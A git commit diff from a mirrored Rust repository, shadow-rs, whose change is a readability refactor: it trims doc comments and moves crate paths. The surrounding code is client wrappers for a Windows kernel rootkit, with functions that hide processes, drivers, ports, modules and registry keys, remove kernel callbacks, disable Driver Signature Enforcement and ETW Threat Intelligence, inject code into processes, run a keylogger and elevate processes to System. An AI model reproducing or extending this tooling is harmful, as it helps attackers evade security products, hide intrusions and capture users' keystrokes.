mirror of
https://github.com/joaoviictorti/shadow-rs.git
synced 2025-12-19 00:04:19 +01:00
refactor: improve code readability
This commit is contained in:
@@ -1,6 +1,6 @@
|
|||||||
[workspace]
|
[workspace]
|
||||||
members = ["shadowx"]
|
members = ["crates/shadow-core"]
|
||||||
exclude = ["driver", "client", "common"]
|
exclude = ["driver", "client", "crates/common"]
|
||||||
resolver = "2"
|
resolver = "2"
|
||||||
|
|
||||||
[profile.dev]
|
[profile.dev]
|
||||||
|
|||||||
@@ -8,7 +8,7 @@ log = "0.4.22"
|
|||||||
colored = "2.1.0"
|
colored = "2.1.0"
|
||||||
chrono = "0.4.38"
|
chrono = "0.4.38"
|
||||||
sysinfo = "0.31.4"
|
sysinfo = "0.31.4"
|
||||||
common = { path = "../common" }
|
common = { path = "../crates/common" }
|
||||||
env_logger = { version = "0.11.5" }
|
env_logger = { version = "0.11.5" }
|
||||||
clap = { version = "4.5.6", features = ["derive"] }
|
clap = { version = "4.5.6", features = ["derive"] }
|
||||||
|
|
||||||
@@ -19,7 +19,8 @@ features = [
|
|||||||
"Win32_Security",
|
"Win32_Security",
|
||||||
"Win32_Storage_FileSystem",
|
"Win32_Storage_FileSystem",
|
||||||
"Win32_System_Diagnostics_Debug",
|
"Win32_System_Diagnostics_Debug",
|
||||||
"Win32_System_IO", "Win32_System_Memory",
|
"Win32_System_IO",
|
||||||
|
"Win32_System_Memory",
|
||||||
"Win32_System_Threading"
|
"Win32_System_Threading"
|
||||||
]
|
]
|
||||||
|
|
||||||
|
|||||||
@@ -12,11 +12,7 @@ use crate::{utils::open_driver, utils::Callbacks};
|
|||||||
pub struct Callback(HANDLE);
|
pub struct Callback(HANDLE);
|
||||||
|
|
||||||
impl Callback {
|
impl Callback {
|
||||||
/// Creates a new `Callback` instance, opening a handle to the driver.
|
/// Creates a new `Callback`.
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// * An instance of `Callback`.
|
|
||||||
///
|
///
|
||||||
/// # Panics
|
/// # Panics
|
||||||
///
|
///
|
||||||
@@ -27,11 +23,6 @@ impl Callback {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/// Enumerates all callbacks associated with a specified callback type.
|
/// Enumerates all callbacks associated with a specified callback type.
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// * `ioctl_code` - The IOCTL code for the enumeration operation.
|
|
||||||
/// * `callback` - Reference to the `Callbacks` struct, defining the type of callback to enumerate.
|
|
||||||
pub fn enumerate_callback(self, ioctl_code: u32, callback: &Callbacks) {
|
pub fn enumerate_callback(self, ioctl_code: u32, callback: &Callbacks) {
|
||||||
debug!("Attempting to open the driver for callback enumeration");
|
debug!("Attempting to open the driver for callback enumeration");
|
||||||
debug!("Allocating memory for callback information");
|
debug!("Allocating memory for callback information");
|
||||||
@@ -95,12 +86,6 @@ impl Callback {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/// Removes a callback at the specified index.
|
/// Removes a callback at the specified index.
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// * `index` - The index of the callback to remove.
|
|
||||||
/// * `ioctl_code` - The IOCTL code for the remove operation.
|
|
||||||
/// * `callback` - Reference to the `Callbacks` struct, defining the type of callback.
|
|
||||||
pub fn remove_callback(self, index: usize, ioctl_code: u32, callback: &Callbacks) {
|
pub fn remove_callback(self, index: usize, ioctl_code: u32, callback: &Callbacks) {
|
||||||
debug!("Attempting to open the driver to remove callback at index: {index}");
|
debug!("Attempting to open the driver to remove callback at index: {index}");
|
||||||
debug!("Preparing structure to remove callback at index: {}", index);
|
debug!("Preparing structure to remove callback at index: {}", index);
|
||||||
@@ -132,12 +117,6 @@ impl Callback {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/// Restores a callback at the specified index.
|
/// Restores a callback at the specified index.
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// * `index` - The index of the callback to restore.
|
|
||||||
/// * `ioctl_code` - The IOCTL code for the restore operation.
|
|
||||||
/// * `callback` - Reference to the `Callbacks` struct, defining the type of callback.
|
|
||||||
pub fn restore_callback(self, index: usize, ioctl_code: u32, callback: &Callbacks) {
|
pub fn restore_callback(self, index: usize, ioctl_code: u32, callback: &Callbacks) {
|
||||||
debug!("Attempting to open the driver to restore callback at index: {index}");
|
debug!("Attempting to open the driver to restore callback at index: {index}");
|
||||||
|
|
||||||
@@ -171,7 +150,6 @@ impl Callback {
|
|||||||
}
|
}
|
||||||
|
|
||||||
impl Drop for Callback {
|
impl Drop for Callback {
|
||||||
/// Ensures the driver handle is closed when `Callback` goes out of scope.
|
|
||||||
fn drop(&mut self) {
|
fn drop(&mut self) {
|
||||||
debug!("Closing the driver handle");
|
debug!("Closing the driver handle");
|
||||||
unsafe { CloseHandle(self.0) };
|
unsafe { CloseHandle(self.0) };
|
||||||
|
|||||||
@@ -12,27 +12,13 @@ use crate::utils::open_driver;
|
|||||||
pub struct Driver(HANDLE);
|
pub struct Driver(HANDLE);
|
||||||
|
|
||||||
impl Driver {
|
impl Driver {
|
||||||
/// Creates a new `Driver` instance, opening a handle to the driver.
|
/// Creates a new `Driver`.
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// * An instance of `Driver`.
|
|
||||||
///
|
|
||||||
/// # Panics
|
|
||||||
///
|
|
||||||
/// Panics if the driver cannot be opened.
|
|
||||||
pub fn new() -> Self {
|
pub fn new() -> Self {
|
||||||
let h_driver = open_driver().expect("Error");
|
let h_driver = open_driver().expect("Error");
|
||||||
Self(h_driver)
|
Self(h_driver)
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Hides or unhides a driver based on its name.
|
/// Hides or unhides a driver based on its name.
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// * `ioctl_code` - The IOCTL code for the hide/unhide operation.
|
|
||||||
/// * `name` - The name of the driver to hide or unhide.
|
|
||||||
/// * `enable` - `true` to hide or `false` to unhide the driver.
|
|
||||||
pub fn unhide_hide_driver(self, ioctl_code: u32, name: &String, enable: bool) {
|
pub fn unhide_hide_driver(self, ioctl_code: u32, name: &String, enable: bool) {
|
||||||
debug!("Attempting to open the driver for {} operation", if enable { "hide" } else { "unhide" });
|
debug!("Attempting to open the driver for {} operation", if enable { "hide" } else { "unhide" });
|
||||||
debug!("Preparing structure for: {}", name);
|
debug!("Preparing structure for: {}", name);
|
||||||
@@ -65,12 +51,6 @@ impl Driver {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/// Blocks or unblocks a driver by sending an `IOCTL` request.
|
/// Blocks or unblocks a driver by sending an `IOCTL` request.
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// - `ioctl_code` - The `IOCTL` control code for the operation.
|
|
||||||
/// - `name` - The name of the driver to block or unblock.
|
|
||||||
/// - `enable` - `true` to block the driver, `false` to unblock.
|
|
||||||
pub fn block_driver(self, ioctl_code: u32, name: &String, enable: bool) {
|
pub fn block_driver(self, ioctl_code: u32, name: &String, enable: bool) {
|
||||||
debug!("Preparing structure for: {}", name);
|
debug!("Preparing structure for: {}", name);
|
||||||
let mut info_driver = TargetDriver {
|
let mut info_driver = TargetDriver {
|
||||||
@@ -102,10 +82,6 @@ impl Driver {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/// Enumerates all drivers, retrieving information about each one.
|
/// Enumerates all drivers, retrieving information about each one.
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// * `ioctl_code` - The IOCTL code for the enumeration operation.
|
|
||||||
pub fn enumerate_driver(self, ioctl_code: u32) {
|
pub fn enumerate_driver(self, ioctl_code: u32) {
|
||||||
debug!("Attempting to open the driver for enumeration");
|
debug!("Attempting to open the driver for enumeration");
|
||||||
debug!("Allocating memory for driver info");
|
debug!("Allocating memory for driver info");
|
||||||
@@ -154,7 +130,6 @@ impl Driver {
|
|||||||
}
|
}
|
||||||
|
|
||||||
impl Drop for Driver {
|
impl Drop for Driver {
|
||||||
/// Ensures the driver handle is closed when `Driver` goes out of scope.
|
|
||||||
fn drop(&mut self) {
|
fn drop(&mut self) {
|
||||||
debug!("Closing the driver handle");
|
debug!("Closing the driver handle");
|
||||||
unsafe { CloseHandle(self.0) };
|
unsafe { CloseHandle(self.0) };
|
||||||
|
|||||||
@@ -12,27 +12,13 @@ use crate::{utils::check_file, utils::open_driver};
|
|||||||
pub struct Injection(HANDLE);
|
pub struct Injection(HANDLE);
|
||||||
|
|
||||||
impl Injection {
|
impl Injection {
|
||||||
/// Creates a new [`Injection`] instance, opening a handle to the driver.
|
/// Creates a new `Injection`
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// * An instance of [`Injection`].
|
|
||||||
///
|
|
||||||
/// # Panics
|
|
||||||
///
|
|
||||||
/// Panics if the driver cannot be opened.
|
|
||||||
pub fn new() -> Self {
|
pub fn new() -> Self {
|
||||||
let h_driver = open_driver().expect("Error");
|
let h_driver = open_driver().expect("Error");
|
||||||
Self(h_driver)
|
Self(h_driver)
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Injects code into a process's thread specified by `pid` using a file at `path`.
|
/// Injects code into a process's thread specified by `pid` using a file at `path`.
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// * `ioctl_code` - The IOCTL code for the thread injection operation.
|
|
||||||
/// * `pid` - A reference to the PID of the target process.
|
|
||||||
/// * `path` - The file path of the code to inject.
|
|
||||||
pub fn injection(self, ioctl_code: u32, pid: &u32, path: &String) {
|
pub fn injection(self, ioctl_code: u32, pid: &u32, path: &String) {
|
||||||
info!("Starting process injection for PID: {pid}, using file: {path}");
|
info!("Starting process injection for PID: {pid}, using file: {path}");
|
||||||
info!("Checking if the file exists at the specified path");
|
info!("Checking if the file exists at the specified path");
|
||||||
@@ -72,7 +58,6 @@ impl Injection {
|
|||||||
}
|
}
|
||||||
|
|
||||||
impl Drop for Injection {
|
impl Drop for Injection {
|
||||||
/// Ensures the driver handle is closed when `Injection` goes out of scope.
|
|
||||||
fn drop(&mut self) {
|
fn drop(&mut self) {
|
||||||
debug!("Closing the driver handle");
|
debug!("Closing the driver handle");
|
||||||
unsafe { CloseHandle(self.0) };
|
unsafe { CloseHandle(self.0) };
|
||||||
|
|||||||
@@ -37,26 +37,13 @@ pub static mut KEY_RECENT: [u8; 64] = [0; 64];
|
|||||||
pub struct Misc(HANDLE);
|
pub struct Misc(HANDLE);
|
||||||
|
|
||||||
impl Misc {
|
impl Misc {
|
||||||
/// Creates a new `Misc` instance, opening a handle to the driver.
|
/// Creates a new `Misc`.
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// * An instance of `Misc`.
|
|
||||||
///
|
|
||||||
/// # Panics
|
|
||||||
///
|
|
||||||
/// Panics if the driver cannot be opened.
|
|
||||||
pub fn new() -> Self {
|
pub fn new() -> Self {
|
||||||
let h_driver = open_driver().expect("Error");
|
let h_driver = open_driver().expect("Error");
|
||||||
Self(h_driver)
|
Self(h_driver)
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Enables or disables Driver Signature Enforcement (DSE).
|
/// Enables or disables Driver Signature Enforcement (DSE).
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// * `ioctl_code` - The IOCTL code for the DSE operation.
|
|
||||||
/// * `enable` - `true` to enable DSE or `false` to disable it.
|
|
||||||
pub fn dse(self, ioctl_code: u32, enable: bool) {
|
pub fn dse(self, ioctl_code: u32, enable: bool) {
|
||||||
debug!("Preparing DSE structure for {}", if enable { "enabling" } else { "disabling" });
|
debug!("Preparing DSE structure for {}", if enable { "enabling" } else { "disabling" });
|
||||||
let mut info_dse = DSE { enable };
|
let mut info_dse = DSE { enable };
|
||||||
@@ -84,11 +71,6 @@ impl Misc {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/// Activates a keylogger that records keystrokes to a specified file.
|
/// Activates a keylogger that records keystrokes to a specified file.
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// * `ioctl_code` - The IOCTL code for initializing keylogging.
|
|
||||||
/// * `file` - The path to the file where keystrokes will be recorded.
|
|
||||||
pub fn keylogger(self, ioctl_code: u32, file: &String) {
|
pub fn keylogger(self, ioctl_code: u32, file: &String) {
|
||||||
unsafe {
|
unsafe {
|
||||||
let mut address = 0usize;
|
let mut address = 0usize;
|
||||||
@@ -155,11 +137,6 @@ impl Misc {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/// Enables or disables Event Tracing for Windows Threat Intelligence (ETWTI).
|
/// Enables or disables Event Tracing for Windows Threat Intelligence (ETWTI).
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// * `ioctl_code` - The IOCTL code for the ETWTI operation.
|
|
||||||
/// * `enable` - `true` to enable ETWTI or `false` to disable it.
|
|
||||||
pub fn etwti(self, ioctl_code: u32, enable: bool) {
|
pub fn etwti(self, ioctl_code: u32, enable: bool) {
|
||||||
debug!("Preparing ETWTI structure for {}", if enable { "enabling" } else { "disabling" });
|
debug!("Preparing ETWTI structure for {}", if enable { "enabling" } else { "disabling" });
|
||||||
let mut etwti = ETWTI { enable };
|
let mut etwti = ETWTI { enable };
|
||||||
@@ -188,7 +165,6 @@ impl Misc {
|
|||||||
}
|
}
|
||||||
|
|
||||||
impl Drop for Misc {
|
impl Drop for Misc {
|
||||||
/// Ensures the driver handle is closed when `Misc` goes out of scope.
|
|
||||||
fn drop(&mut self) {
|
fn drop(&mut self) {
|
||||||
debug!("Closing the driver handle");
|
debug!("Closing the driver handle");
|
||||||
unsafe { CloseHandle(self.0) };
|
unsafe { CloseHandle(self.0) };
|
||||||
|
|||||||
@@ -16,26 +16,13 @@ use common::structs::{
|
|||||||
pub struct Module(HANDLE);
|
pub struct Module(HANDLE);
|
||||||
|
|
||||||
impl Module {
|
impl Module {
|
||||||
/// Creates a new `Module` instance, opening a handle to the driver.
|
/// Creates a new `Module`.
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// * An instance of `Module`.
|
|
||||||
///
|
|
||||||
/// # Panics
|
|
||||||
///
|
|
||||||
/// Panics if the driver cannot be opened.
|
|
||||||
pub fn new() -> Self {
|
pub fn new() -> Self {
|
||||||
let h_driver = open_driver().expect("Error");
|
let h_driver = open_driver().expect("Error");
|
||||||
Self(h_driver)
|
Self(h_driver)
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Enumerates all modules within a specified process by `pid`.
|
/// Enumerates all modules within a specified process by `pid`.
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// * `ioctl_code` - The IOCTL code for the enumeration operation.
|
|
||||||
/// * `pid` - A reference to the PID of the process whose modules will be enumerated.
|
|
||||||
pub fn enumerate_module(self, ioctl_code: u32, pid: &u32) {
|
pub fn enumerate_module(self, ioctl_code: u32, pid: &u32) {
|
||||||
info!("Attempting to enumerate modules for PID: {pid}");
|
info!("Attempting to enumerate modules for PID: {pid}");
|
||||||
|
|
||||||
@@ -88,12 +75,6 @@ impl Module {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/// Hides a specific module within a process specified by `pid`.
|
/// Hides a specific module within a process specified by `pid`.
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// * `ioctl_code` - The IOCTL code for the hide operation.
|
|
||||||
/// * `name` - A reference to the module name to hide.
|
|
||||||
/// * `pid` - The PID of the process containing the module to hide.
|
|
||||||
pub fn hide_module(self, ioctl_code: u32, name: &String, pid: u32) {
|
pub fn hide_module(self, ioctl_code: u32, name: &String, pid: u32) {
|
||||||
debug!("Attempting to open the module for hide operation");
|
debug!("Attempting to open the module for hide operation");
|
||||||
|
|
||||||
@@ -127,7 +108,6 @@ impl Module {
|
|||||||
}
|
}
|
||||||
|
|
||||||
impl Drop for Module {
|
impl Drop for Module {
|
||||||
/// Ensures the driver handle is closed when `Module` goes out of scope.
|
|
||||||
fn drop(&mut self) {
|
fn drop(&mut self) {
|
||||||
debug!("Closing the driver handle");
|
debug!("Closing the driver handle");
|
||||||
unsafe { CloseHandle(self.0) };
|
unsafe { CloseHandle(self.0) };
|
||||||
|
|||||||
@@ -16,29 +16,13 @@ use crate::utils::{
|
|||||||
pub struct Network(HANDLE);
|
pub struct Network(HANDLE);
|
||||||
|
|
||||||
impl Network {
|
impl Network {
|
||||||
/// Creates a new `Port` instance, opening a handle to the driver.
|
/// Creates a new `Port`.
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// * An instance of `Port`.
|
|
||||||
///
|
|
||||||
/// # Panics
|
|
||||||
///
|
|
||||||
/// Panics if the driver cannot be opened.
|
|
||||||
pub fn new() -> Self {
|
pub fn new() -> Self {
|
||||||
let h_driver = open_driver().expect("Error");
|
let h_driver = open_driver().expect("Error");
|
||||||
Self(h_driver)
|
Self(h_driver)
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Hides or unhides a specific network port.
|
/// Hides or unhides a specific network port.
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// * `ioctl_code` - The IOCTL code for the hide/unhide operation.
|
|
||||||
/// * `protocol` - The protocol type (e.g., TCP, UDP) for the port.
|
|
||||||
/// * `port_type` - The type of port (e.g., LOCAL, REMOTE).
|
|
||||||
/// * `port_number` - The number of the port to hide or unhide.
|
|
||||||
/// * `enable` - `true` to hide the port or `false` to unhide it.
|
|
||||||
pub fn hide_unhide_port(
|
pub fn hide_unhide_port(
|
||||||
self,
|
self,
|
||||||
ioctl_code: u32,
|
ioctl_code: u32,
|
||||||
@@ -77,7 +61,6 @@ impl Network {
|
|||||||
}
|
}
|
||||||
|
|
||||||
impl Drop for Network {
|
impl Drop for Network {
|
||||||
/// Ensures the driver handle is closed when `Port` goes out of scope.
|
|
||||||
fn drop(&mut self) {
|
fn drop(&mut self) {
|
||||||
debug!("Closing the driver handle");
|
debug!("Closing the driver handle");
|
||||||
unsafe { CloseHandle(self.0) };
|
unsafe { CloseHandle(self.0) };
|
||||||
|
|||||||
@@ -15,27 +15,13 @@ use crate::{
|
|||||||
pub struct Process(HANDLE);
|
pub struct Process(HANDLE);
|
||||||
|
|
||||||
impl Process {
|
impl Process {
|
||||||
/// Creates a new `Process` instance, opening a handle to the driver.
|
/// Creates a new `Process`.
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// * An instance of `Process`.
|
|
||||||
///
|
|
||||||
/// # Panics
|
|
||||||
///
|
|
||||||
/// Panics if the driver cannot be opened.
|
|
||||||
pub fn new() -> Self {
|
pub fn new() -> Self {
|
||||||
let h_driver = open_driver().expect("Error");
|
let h_driver = open_driver().expect("Error");
|
||||||
Self(h_driver)
|
Self(h_driver)
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Hides or unhides a Process specified by `pid`.
|
/// Hides or unhides a Process specified by `pid`.
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// * `pid` - An optional reference to the PID (Process ID) of the Process to hide/unhide.
|
|
||||||
/// * `ioctl_code` - The IOCTL code for the hide/unhide operation.
|
|
||||||
/// * `enable` - A boolean indicating whether to hide (`true`) or unhide (`false`) the Process.
|
|
||||||
pub fn hide_unhide_process(&mut self, pid: Option<&u32>, ioctl_code: u32, enable: bool) {
|
pub fn hide_unhide_process(&mut self, pid: Option<&u32>, ioctl_code: u32, enable: bool) {
|
||||||
if let Some(pid_value) = pid {
|
if let Some(pid_value) = pid {
|
||||||
info!("Preparing to {} process: {}", if enable { "hide" } else { "unhide" }, pid_value);
|
info!("Preparing to {} process: {}", if enable { "hide" } else { "unhide" }, pid_value);
|
||||||
@@ -71,11 +57,6 @@ impl Process {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/// Terminates a specified process by `pid`.
|
/// Terminates a specified process by `pid`.
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// * `pid` - An optional reference to the PID of the process to terminate.
|
|
||||||
/// * `ioctl_code` - The IOCTL code for the terminate operation.
|
|
||||||
pub fn terminate_process(&mut self, pid: Option<&u32>, ioctl_code: u32) {
|
pub fn terminate_process(&mut self, pid: Option<&u32>, ioctl_code: u32) {
|
||||||
if let Some(pid_value) = pid {
|
if let Some(pid_value) = pid {
|
||||||
info!("Preparing to terminate process: {}", pid_value);
|
info!("Preparing to terminate process: {}", pid_value);
|
||||||
@@ -110,12 +91,6 @@ impl Process {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/// Enables or disables protection for a process specified by `pid`.
|
/// Enables or disables protection for a process specified by `pid`.
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// * `pid` - An optional reference to the PID of the process.
|
|
||||||
/// * `ioctl_code` - The IOCTL code for the protection operation.
|
|
||||||
/// * `enable` - `true` to enable or `false` to disable protection.
|
|
||||||
#[cfg(not(feature = "mapper"))]
|
#[cfg(not(feature = "mapper"))]
|
||||||
pub fn protection_process(&mut self, pid: Option<&u32>, ioctl_code: u32, enable: bool) {
|
pub fn protection_process(&mut self, pid: Option<&u32>, ioctl_code: u32, enable: bool) {
|
||||||
if let Some(pid_value) = pid {
|
if let Some(pid_value) = pid {
|
||||||
@@ -154,11 +129,6 @@ impl Process {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/// Enumerates all processes and retrieves information about them.
|
/// Enumerates all processes and retrieves information about them.
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// * `ioctl_code` - The IOCTL code for the enumeration operation.
|
|
||||||
/// * `option` - Reference to `Options` struct specifying options for the enumeration.
|
|
||||||
pub fn enumerate_process(&mut self, ioctl_code: u32, option: &Options) {
|
pub fn enumerate_process(&mut self, ioctl_code: u32, option: &Options) {
|
||||||
let mut info_process: [TargetProcess; 100] = unsafe { std::mem::zeroed() };
|
let mut info_process: [TargetProcess; 100] = unsafe { std::mem::zeroed() };
|
||||||
let mut enumeration_input = TargetProcess {
|
let mut enumeration_input = TargetProcess {
|
||||||
@@ -195,13 +165,6 @@ impl Process {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/// Applies signature protection to a process specified by `pid`.
|
/// Applies signature protection to a process specified by `pid`.
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// * `pid` - An optional reference to the PID of the process.
|
|
||||||
/// * `ioctl_code` - The IOCTL code for the protection operation.
|
|
||||||
/// * `sg` - The signature level.
|
|
||||||
/// * `tp` - The protection type.
|
|
||||||
pub fn signature_process(
|
pub fn signature_process(
|
||||||
&mut self,
|
&mut self,
|
||||||
pid: Option<&u32>,
|
pid: Option<&u32>,
|
||||||
@@ -244,11 +207,6 @@ impl Process {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/// Elevates the privileges of a specified process to System level.
|
/// Elevates the privileges of a specified process to System level.
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// * `pid` - An optional reference to the PID of the process to elevate.
|
|
||||||
/// * `ioctl_code` - The IOCTL code for the elevation operation.
|
|
||||||
pub fn elevate_process(&mut self, pid: Option<&u32>, ioctl_code: u32) {
|
pub fn elevate_process(&mut self, pid: Option<&u32>, ioctl_code: u32) {
|
||||||
if let Some(pid_value) = pid {
|
if let Some(pid_value) = pid {
|
||||||
info!("Preparing to elevate process: {}", pid_value);
|
info!("Preparing to elevate process: {}", pid_value);
|
||||||
@@ -284,7 +242,6 @@ impl Process {
|
|||||||
}
|
}
|
||||||
|
|
||||||
impl Drop for Process {
|
impl Drop for Process {
|
||||||
/// Ensures the driver handle is closed when `Thread` goes out of scope.
|
|
||||||
fn drop(&mut self) {
|
fn drop(&mut self) {
|
||||||
debug!("Closing the driver handle");
|
debug!("Closing the driver handle");
|
||||||
unsafe { CloseHandle(self.0) };
|
unsafe { CloseHandle(self.0) };
|
||||||
|
|||||||
@@ -12,28 +12,13 @@ use common::structs::TargetRegistry;
|
|||||||
pub struct Registry(HANDLE);
|
pub struct Registry(HANDLE);
|
||||||
|
|
||||||
impl Registry {
|
impl Registry {
|
||||||
/// Creates a new `Registry` instance, opening a handle to the driver.
|
/// Creates a new `Registry`.
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// * An instance of `Registry`.
|
|
||||||
///
|
|
||||||
/// # Panics
|
|
||||||
///
|
|
||||||
/// Panics if the driver cannot be opened.
|
|
||||||
pub fn new() -> Self {
|
pub fn new() -> Self {
|
||||||
let h_driver = open_driver().expect("Error");
|
let h_driver = open_driver().expect("Error");
|
||||||
Self(h_driver)
|
Self(h_driver)
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Enables or disables protection for a specified registry key and value.
|
/// Enables or disables protection for a specified registry key and value.
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// * `ioctl_code` - The IOCTL code for the protection operation.
|
|
||||||
/// * `value` - A reference to the registry value name to protect.
|
|
||||||
/// * `key` - A reference to the registry key name to protect.
|
|
||||||
/// * `enable` - `true` to enable protection or `false` to disable it.
|
|
||||||
pub fn registry_protection(self, ioctl_code: u32, value: &String, key: &String, enable: bool) {
|
pub fn registry_protection(self, ioctl_code: u32, value: &String, key: &String, enable: bool) {
|
||||||
info!("Attempting to open the registry for protection operation");
|
info!("Attempting to open the registry for protection operation");
|
||||||
debug!("Preparing structure for Key: {key} | Value: {value} | Protection: {}", if enable { "hide" } else { "unhide" });
|
debug!("Preparing structure for Key: {key} | Value: {value} | Protection: {}", if enable { "hide" } else { "unhide" });
|
||||||
@@ -66,13 +51,6 @@ impl Registry {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/// Hides or unhides a specified registry key and value.
|
/// Hides or unhides a specified registry key and value.
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// * `ioctl_code` - The IOCTL code for the hide/unhide operation.
|
|
||||||
/// * `value` - A reference to the registry value name to hide/unhide.
|
|
||||||
/// * `key` - A reference to the registry key name to hide/unhide.
|
|
||||||
/// * `enable` - `true` to hide or `false` to unhide.
|
|
||||||
pub fn registry_hide_unhide(self, ioctl_code: u32, value: &String, key: &String, enable: bool) {
|
pub fn registry_hide_unhide(self, ioctl_code: u32, value: &String, key: &String, enable: bool) {
|
||||||
info!("Attempting to open the registry for hide/unhide operation");
|
info!("Attempting to open the registry for hide/unhide operation");
|
||||||
|
|
||||||
@@ -108,7 +86,6 @@ impl Registry {
|
|||||||
}
|
}
|
||||||
|
|
||||||
impl Drop for Registry {
|
impl Drop for Registry {
|
||||||
/// Ensures the driver handle is closed when `Registry` goes out of scope.
|
|
||||||
fn drop(&mut self) {
|
fn drop(&mut self) {
|
||||||
debug!("Closing the driver handle");
|
debug!("Closing the driver handle");
|
||||||
unsafe { CloseHandle(self.0) };
|
unsafe { CloseHandle(self.0) };
|
||||||
|
|||||||
@@ -12,27 +12,13 @@ use crate::utils::{open_driver, Options};
|
|||||||
pub struct Thread(HANDLE);
|
pub struct Thread(HANDLE);
|
||||||
|
|
||||||
impl Thread {
|
impl Thread {
|
||||||
/// Creates a new `Thread` instance, opening a handle to the driver.
|
/// Creates a new `Thread`.
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// * An instance of `Thread`.
|
|
||||||
///
|
|
||||||
/// # Panics
|
|
||||||
///
|
|
||||||
/// Panics if the driver cannot be opened.
|
|
||||||
pub fn new() -> Self {
|
pub fn new() -> Self {
|
||||||
let h_driver = open_driver().expect("Error");
|
let h_driver = open_driver().expect("Error");
|
||||||
Self(h_driver)
|
Self(h_driver)
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Hides or unhides a thread specified by `tid`.
|
/// Hides or unhides a thread specified by `tid`.
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// * `tid` - An optional reference to the TID (Thread ID) of the thread to hide/unhide.
|
|
||||||
/// * `ioctl_code` - The IOCTL code for the hide/unhide operation.
|
|
||||||
/// * `enable` - A boolean indicating whether to hide (`true`) or unhide (`false`) the thread.
|
|
||||||
pub fn hide_unhide_thread(self, tid: Option<&u32>, ioctl_code: u32, enable: bool) {
|
pub fn hide_unhide_thread(self, tid: Option<&u32>, ioctl_code: u32, enable: bool) {
|
||||||
debug!("Attempting to open the driver for hide/unhide operation");
|
debug!("Attempting to open the driver for hide/unhide operation");
|
||||||
if let Some(tid_value) = tid {
|
if let Some(tid_value) = tid {
|
||||||
@@ -70,12 +56,6 @@ impl Thread {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/// Protects or unprotects a thread specified by `tid` (Anti-kill and dumping protection).
|
/// Protects or unprotects a thread specified by `tid` (Anti-kill and dumping protection).
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// * `tid` - An optional reference to the TID (Thread ID) of the thread to protect/unprotect.
|
|
||||||
/// * `ioctl_code` - The IOCTL code for the protection operation.
|
|
||||||
/// * `enable` - A boolean indicating whether to enable (`true`) or disable (`false`) protection.
|
|
||||||
#[cfg(not(feature = "mapper"))]
|
#[cfg(not(feature = "mapper"))]
|
||||||
pub fn protection_thread(self, tid: Option<&u32>, ioctl_code: u32, enable: bool) {
|
pub fn protection_thread(self, tid: Option<&u32>, ioctl_code: u32, enable: bool) {
|
||||||
debug!("Attempting to open the driver for thread protection operation");
|
debug!("Attempting to open the driver for thread protection operation");
|
||||||
@@ -114,11 +94,6 @@ impl Thread {
|
|||||||
}
|
}
|
||||||
|
|
||||||
